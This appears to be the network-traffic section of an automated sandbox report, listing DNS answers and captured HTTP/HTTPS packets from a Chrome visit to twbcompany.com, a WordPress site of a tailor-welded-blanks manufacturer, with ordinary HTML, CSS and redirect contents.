Oct 7, 2024 14:10:20.354307890 CEST	1.1.1.1	192.168.2.5	0x8c85	No error (0)	browser-update.org			65	IN (0x0001)	false
Oct 7, 2024 14:10:22.801211119 CEST	1.1.1.1	192.168.2.5	0xcd26	No error (0)	c.6sc.co	c2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 14:10:22.801285028 CEST	1.1.1.1	192.168.2.5	0xefd7	No error (0)	c.6sc.co	c2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 14:10:22.803652048 CEST	1.1.1.1	192.168.2.5	0xea7a	No error (0)	b.6sc.co	b2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 14:10:22.803668976 CEST	1.1.1.1	192.168.2.5	0xad52	No error (0)	ipv6.6sc.co	ipv6-2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 14:10:22.804003000 CEST	1.1.1.1	192.168.2.5	0x1cb8	No error (0)	b.6sc.co	b2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 14:10:22.804019928 CEST	1.1.1.1	192.168.2.5	0x3000	No error (0)	ipv6.6sc.co	ipv6-2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 14:10:25.145859003 CEST	1.1.1.1	192.168.2.5	0xf7d1	No error (0)	ipv6.6sc.co	ipv6-2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 14:10:25.146548986 CEST	1.1.1.1	192.168.2.5	0x1abe	No error (0)	b.6sc.co	b2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 14:10:25.146889925 CEST	1.1.1.1	192.168.2.5	0x8505	No error (0)	b.6sc.co	b2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 14:10:25.153089046 CEST	1.1.1.1	192.168.2.5	0x844	No error (0)	ipv6.6sc.co	ipv6-2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 14:10:25.161326885 CEST	1.1.1.1	192.168.2.5	0x5201	No error (0)	c.6sc.co	c2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 14:10:25.162935972 CEST	1.1.1.1	192.168.2.5	0x7b01	No error (0)	c.6sc.co	c2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 14:10:34.417762041 CEST	1.1.1.1	192.168.2.5	0x36cb	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 14:10:34.417762041 CEST	1.1.1.1	192.168.2.5	0x36cb	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:10:59.388173103 CEST	1.1.1.1	192.168.2.5	0x1e19	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 14:10:59.388173103 CEST	1.1.1.1	192.168.2.5	0x1e19	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:11:14.838207006 CEST	1.1.1.1	192.168.2.5	0xfb46	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:11:14.838207006 CEST	1.1.1.1	192.168.2.5	0xfb46	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:11:14.838207006 CEST	1.1.1.1	192.168.2.5	0xfb46	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:11:14.838207006 CEST	1.1.1.1	192.168.2.5	0xfb46	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:11:14.871328115 CEST	1.1.1.1	192.168.2.5	0x9b20	No error (0)	secure.leadforensics.com	lftracking.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 14:11:14.878628016 CEST	1.1.1.1	192.168.2.5	0x467f	No error (0)	secure.leadforensics.com	lftracking.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 14:11:18.092658997 CEST	1.1.1.1	192.168.2.5	0xeb7b	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 14:11:18.092658997 CEST	1.1.1.1	192.168.2.5	0xeb7b	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 7, 2024 14:11:23.028620958 CEST	1.1.1.1	192.168.2.5	0xac76	No error (0)	b.6sc.co	b2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 14:11:23.031917095 CEST	1.1.1.1	192.168.2.5	0x52f	No error (0)	b.6sc.co	b2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 14:11:25.291534901 CEST	1.1.1.1	192.168.2.5	0xa0da	No error (0)	b.6sc.co	b2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 7, 2024 14:11:25.293179035 CEST	1.1.1.1	192.168.2.5	0x7bbb	No error (0)	b.6sc.co	b2.6sc.co.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49710	192.185.125.111	80	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:10:06.421891928 CEST	429	OUT	GET / HTTP/1.1 Host: twbcompany.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Oct 7, 2024 14:10:06.892074108 CEST	474	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 07 Oct 2024 12:10:06 GMT Server: Apache Location: https://twbcompany.com/ Content-Length: 231 Keep-Alive: timeout=5, max=75 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 77 62 63 6f 6d 70 61 6e 79 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://twbcompany.com/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49709	192.185.125.111	80	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 14:10:51.426040888 CEST	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49713	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:08 UTC	657	OUT	GET / HTTP/1.1 Host: twbcompany.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:08 UTC	325	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 07 Oct 2024 12:10:08 GMT Server: Apache Expires: Mon, 07 Oct 2024 13:10:08 GMT Cache-Control: max-age=3600 X-Redirect-By: WordPress Upgrade: h2,h2c Connection: Upgrade, close Location: https://www.twbcompany.com/ Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49715	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:09 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-07 12:10:09 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF45) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=189333 Date: Mon, 07 Oct 2024 12:10:09 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49716	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:10 UTC	661	OUT	GET / HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:10 UTC	466	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:10 GMT Server: Apache Link: <https://www.twbcompany.com/wp-json/>; rel="https://api.w.org/", <https://www.twbcompany.com/wp-json/wp/v2/pages/26>; rel="alternate"; type="application/json", <https://www.twbcompany.com/>; rel=shortlink Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 01 Jan 1970 00:00:00 GMT Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-10-07 12:10:10 UTC	7726	IN	Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 36 5d 3e 3c 68 74 6d 6c 20 69 64 3d 22 69 65 36 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 69 64 3d 22 69 65 37 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 69 64 3d 22 69 65 38 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 36 29 20 7c 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 45 4e 48 22 3e 3c Data Ascii: 4000<!DOCTYPE html>...[if IE 6]><html id="ie6" lang="en-US"><![endif]-->...[if IE 7]><html id="ie7" lang="en-US"><![endif]-->...[if IE 8]><html id="ie8" lang="en-US"><![endif]-->...[if !(IE 6) \| !(IE 7) \| !(IE 8) ]>...><html lang="ENH"><
2024-10-07 12:10:10 UTC	8664	IN	Data Raw: 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 35 2e 34 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 27 63 6c 61 73 73 69 63 2d 74 68 65 6d 65 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 5f 5f 6c 69 6e 6b 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 33 32 33 37 33 63 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 39 39 39 39 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 Data Ascii: min.css?ver=6.5.4' type='text/css' media='all' /><style id='classic-theme-styles-inline-css' type='text/css'>/! This file is auto-generated /.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decorati
2024-10-07 12:10:10 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-10-07 12:10:10 UTC	8192	IN	Data Raw: 34 30 30 30 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6d 69 64 6e 69 67 68 74 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 73 6d 61 6c 6c 2d 66 6f 6e 74 2d 73 69 7a 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 73 6d 61 6c 6c 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6d 65 64 69 75 6d 2d 66 6f 6e 74 2d 73 69 7a 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 6d 65 64 69 75 6d 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c 61 72 67 65 2d 66 6f 6e 74 2d 73 69 7a 65 7b 66 6f 6e 74 Data Ascii: 4000background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font
2024-10-07 12:10:10 UTC	8198	IN	Data Raw: 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 77 62 63 6f 6d 70 61 6e 79 2e 63 6f 6d 2f 70 72 6f 64 75 63 74 73 2f 74 61 69 6c 6f 72 2d 77 65 6c 64 65 64 2d 62 6c 61 6e 6b 73 2f 22 3e 54 61 69 6c 6f 72 20 57 65 6c 64 65 64 20 42 6c 61 6e 6b 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 77 62 63 6f 6d 70 61 6e 79 2e 63 6f 6d 2f 70 72 6f 64 75 63 74 73 2f 74 61 69 6c 6f 72 2d 77 65 6c 64 65 64 2d 63 6f 69 6c 73 2f 22 3e 54 61 69 6c 6f 72 20 57 65 6c 64 65 64 20 43 6f 69 6c 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 77 62 63 6f 6d 70 61 6e 79 2e 63 6f 6d 2f 70 72 6f 64 75 63 74 73 2f 74 61 69 6c 6f 72 2d 77 Data Ascii: i><a href="https://www.twbcompany.com/products/tailor-welded-blanks/">Tailor Welded Blanks</a></li><li><a href="https://www.twbcompany.com/products/tailor-welded-coils/">Tailor Welded Coils</a></li><li><a href="https://www.twbcompany.com/products/tailor-w
2024-10-07 12:10:10 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-10-07 12:10:10 UTC	2328	IN	Data Raw: 39 30 63 0d 0a 3d 22 5f 62 6c 61 6e 6b 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 77 62 63 6f 6d 70 61 6e 79 2e 63 6f 6d 2f 32 30 31 36 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 77 62 5f 32 30 31 36 2f 61 73 73 65 74 73 2f 69 6d 61 67 65 73 2f 6c 6f 67 6f 73 2f 71 31 2e 70 6e 67 22 20 61 6c 74 3d 22 51 31 20 46 6f 72 64 20 50 72 65 66 65 72 72 65 64 20 51 75 61 6c 69 74 79 20 53 74 61 74 75 73 22 20 77 69 64 74 68 3d 22 37 30 22 20 2f 3e 3c 2f 61 3e 3c 2f 6c 69 3e 0a 09 09 09 3c 2f 75 6c 3e 0a 09 09 09 3c 75 6c 20 63 6c 61 73 73 3d 22 63 65 72 74 69 66 69 63 61 74 69 6f 6e 73 22 3e 0a 09 09 09 09 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 77 6f 72 74 68 69 6e 67 74 6f 6e 73 Data Ascii: 90c="_blank"><img src="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/logos/q1.png" alt="Q1 Ford Preferred Quality Status" width="70" /></a></li></ul><ul class="certifications"><li><a href="https://www.worthingtons

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49717	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:10 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-07 12:10:10 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=189268 Date: Mon, 07 Oct 2024 12:10:10 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-07 12:10:10 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49718	192.185.125.111	443	1772	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 12:10:11 UTC	598	OUT	GET /2016/wp-includes/css/dist/block-library/style.min.css?ver=6.5.4 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 12:10:11 UTC	256	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 12:10:11 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 03 May 2024 21:06:15 GMT Accept-Ranges: bytes Content-Length: 113381 Vary: Accept-Encoding Content-Type: text/css
2024-10-07 12:10:11 UTC	7936	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2e 77 70 2d 62 6c 6f 63 6b 2d 61 72 63 68 69 76 65 73 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 72 63 68 69 76 65 73 2d 64 72 6f 70 64 6f 77 6e 20 6c 61 62 65 6c 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 76 61 74 61 72 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 76 61 74 61 72 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 61 76 61 74 61 72 20 69 6d 67 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 76 61 74 61 72 2e 61 6c 69 67 6e 63 65 6e 74 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 Data Ascii: @charset "UTF-8";.wp-block-archives{box-sizing:border-box}.wp-block-archives-dropdown label{display:block}.wp-block-avatar{line-height:0}.wp-block-avatar,.wp-block-avatar img{box-sizing:border-box}.wp-block-avatar.aligncenter{text-align:center}.wp-block-a
2024-10-07 12:10:11 UTC	8000	IN	Data Raw: 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 63 6f 6d 6d 65 6e 74 73 20 2e 63 6f 6d 6d 65 6e 74 2d 61 75 74 68 6f 72 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 35 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 63 6f 6d 6d 65 6e 74 73 20 2e 63 6f 6d 6d 65 6e 74 2d 61 75 74 68 6f 72 20 2e 61 76 61 74 61 72 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 31 2e 35 65 6d 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 68 65 69 67 68 74 3a 32 2e 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2e 37 35 65 6d 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2e 35 65 6d 3b 77 69 64 74 68 3a 32 2e 35 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d Data Ascii: -style:none;margin:0;padding:0}.wp-block-post-comments .comment-author{line-height:1.5}.wp-block-post-comments .comment-author .avatar{border-radius:1.5em;display:block;float:left;height:2.5em;margin-right:.75em;margin-top:.5em;width:2.5em}.wp-block-post-
2024-10-07 12:10:11 UTC	8000	IN	Data Raw: 62 6c 6f 63 6b 2d 63 6f 76 65 72 5f 5f 62 61 63 6b 67 72 6f 75 6e 64 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2d 69 6d 61 67 65 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2d 37 30 20 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 5f 5f 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2d 69 6d 61 67 65 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2d 37 30 3a 6e 6f 74 28 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 67 72 61 64 69 65 6e 74 29 3a 62 65 66 6f 72 65 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d Data Ascii: block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-
2024-10-07 12:10:11 UTC	8000	IN	Data Raw: 65 72 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2e 69 73 2d 70 6f 73 69 74 69 6f 6e 2d 74 6f 70 2d 63 65 6e 74 65 72 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 66 6c 65 78 2d 73 74 61 72 74 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2d 69 6d 61 67 65 2e 69 73 2d 70 6f 73 69 74 69 6f 6e 2d 74 6f 70 2d 72 69 67 68 74 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2e 69 73 2d 70 6f 73 69 74 69 6f 6e 2d 74 6f 70 2d 72 69 67 68 74 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 66 6c 65 78 2d 73 74 61 72 74 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 65 6e 64 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2d 69 6d 61 67 65 2e 69 73 2d 70 6f 73 69 74 69 6f 6e 2d 63 65 6e Data Ascii: er,.wp-block-cover.is-position-top-center{align-items:flex-start;justify-content:center}.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{align-items:flex-start;justify-content:flex-end}.wp-block-cover-image.is-position-cen
